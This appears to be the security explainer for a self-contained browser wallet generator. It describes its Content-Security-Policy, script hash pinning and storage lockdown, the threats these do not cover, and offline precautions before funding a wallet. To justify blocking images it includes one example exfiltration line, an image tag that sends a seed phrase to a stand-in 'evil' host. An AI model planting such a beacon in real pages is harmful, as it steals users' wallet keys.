CRYPTOSTACK

What protects your keys here, what does not, and what to do before funding a wallet.

Generating a wallet safely

What protects your keys here — and what doesn't

Most wallet tools claim to be "100% client-side and secure". That sentence is worth almost nothing, because it describes an intention rather than a mechanism. Here is the mechanism, and its limits.

The load-bearing part: connect-src 'none'

The page ships a Content-Security-Policy that tells your browser to refuse every outbound request this page could make — fetch, XMLHttpRequest, WebSocket, sendBeacon, all of it. Not "we promise not to". The browser will not permit it.

The reason this matters more than a promise: it holds even if this page's JavaScript turns malicious. If someone compromised this repository tomorrow and replaced the app with a key-stealer, the stealer would have nowhere to send what it stole. Images, stylesheets, fonts and form submissions are locked down for the same reason — every one of them is an exfiltration channel if you leave it open, and <img src="https://evil/?seed=…"> works just as well as a network call.

The rest of the mechanism

  • No CDNs, no eval, nothing fetched at all. This page is a single file: the app, the cryptography, the stylesheet, the fonts and the worker thread are inside it. The old version of this tool loaded ethers from jsDelivr inside a worker — meaning a bad day at a CDN was a bad day for your keys.
  • The script is pinned by its own hash. The policy above names the SHA-256 of the code in this file. Your browser recomputes it on every load and runs the code only on an exact match — so a modified file does not run a modified app, it runs nothing, and says so. It also means an injected script tag cannot execute: it cannot match a hash computed before it existed.
  • Because it fetches nothing, it runs anywhere. Save this file, unplug the machine, open it from a folder. Identical behaviour, no server, no network.
  • No storage. No localStorage, no IndexedDB, no cookies, nothing in the URL. localStorage is actively redefined to throw, so a future edit that tries to stash a seed fails loudly instead of shipping quietly.
  • No innerHTML. Every address and key reaches the screen through textContent. There is no HTML-injection sink to find.
  • Frozen prototypes before the crypto loads, so prototype pollution cannot change what a Uint8Array means halfway through a key derivation.
  • Audited dependencies only — the @noble and @scure libraries, pinned by version and hash, bundled unminified so you can read them. Nothing in the bundle is capable of network I/O.

What none of that stops

  • Browser extensions. Their content scripts run in a separate world with their own permissions. They can read this page and make their own requests, and this page's CSP does not constrain them. No JavaScript here can change that.
  • A compromised operating system. Keyloggers, clipboard scrapers, screen capture. Nothing in a browser tab defends against the machine it runs on.
  • A tampered file, tampered consistently. The hash in the policy makes the browser refuse a modified script — but whoever can rewrite the script can rewrite the hash next to it. That is tamper-evidence against a partial compromise, not proof of honesty. Only comparing the published SHA-256 of this whole file against your copy gives you that, and only because it is published somewhere other than this file.
  • Someone reading your screen. Hence the blur on every secret until you ask for it.

The environment panel reports facts about where you are running. It is not a guarantee — a page that had already been compromised could lie about every line of it.

If the wallet will hold real money

  1. Save this page to disk — it is already a single self-contained file — and verify its SHA-256 against the published release.
  2. Disconnect. Turn off Wi-Fi. The environment panel will show offline. This is the step that actually defeats extensions and drive-by scripts, because it removes the network they need.
  3. Use a clean browser profile with no extensions, or better, a live USB session on a machine with no persistent storage.
  4. Write the phrase on paper. Not a photo, not a note app, not a password manager's notes field. Two copies, two locations.
  5. Verify before funding. Restore the phrase into the wallet you actually intend to use and confirm it shows the same first address. Send a small test amount first. Every time.
  6. Close the browser when done, and reboot if you were on a shared machine.
Better still: use a hardware wallet. For any amount you would miss, a device that never exposes the key to a general-purpose computer beats every software precaution on this page. This tool is at its best for testing, for learning how derivation works, for checking that a phrase produces the addresses you expect, and for vanity addresses you have thought carefully about.

Verifying you are running what you think

Every release publishes a SHA-256. Because everything is in one file, one hash covers the whole application:

shasum -a 256 index.html

Compare against the release notes. If they differ, do not use it. The build is reproducible from source with npm run build, and CI re-runs that on every commit to assert the committed files still match src/ — so a change smuggled into the built output, without a matching source change, fails the pipeline visibly.